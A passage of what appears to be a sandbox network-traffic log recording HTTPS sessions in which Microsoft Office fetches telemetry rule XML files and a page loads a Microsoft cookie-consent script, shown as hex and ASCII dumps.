2024-11-22 00:03:08 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-22 00:03:08 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-22 00:03:08 UTC	712	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-22 00:03:08 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-button
2024-11-22 00:03:08 UTC	3566	IN	Data Raw: 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 Data Ascii: "-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChang

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:07 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:08 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:08 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3cbcbade-201e-0000-6443-3ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000308Z-174c587ffdfcj798hC1TEB9bq400000000ug00000000ah6e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:08 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:08 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:08 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:08 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000308Z-178bfbc474bmqmgjhC1NYCy16c000000026g00000000mcfs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:08 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:08 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:08 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:08 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 6a566218-301e-0099-5f54-3c6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000308Z-178bfbc474b9xljthC1NYCtw9400000001z000000000x8zs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:03:08 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:09 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:10 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:10 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: dd43f91c-901e-005b-7e7f-3b2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000310Z-174c587ffdfp4vpjhC1TEBybqw00000000rg0000000032yr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:10 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:09 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:10 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:10 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 23c3770b-601e-0084-293a-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000310Z-178bfbc474bbbqrhhC1NYCvw7400000002dg000000002ne9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:03:10 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:09 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:10 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:10 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e8f84e55-c01e-0079-2269-3be51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000310Z-178bfbc474b7cbwqhC1NYC8z4n000000020g00000000qx0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:10 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:10 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:10 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:10 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 2537c9bf-601e-0050-536a-3c2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000310Z-174c587ffdfcb7qhhC1TEB3x7000000000ng00000000tg4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:03:10 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:10 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:10 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:10 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 20e9f7cf-701e-005c-216c-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000310Z-174c587ffdfb74xqhC1TEBhabc00000000q00000000094xy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:03:10 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:12 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:12 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:12 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000312Z-174c587ffdfb74xqhC1TEBhabc00000000s0000000001nxs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
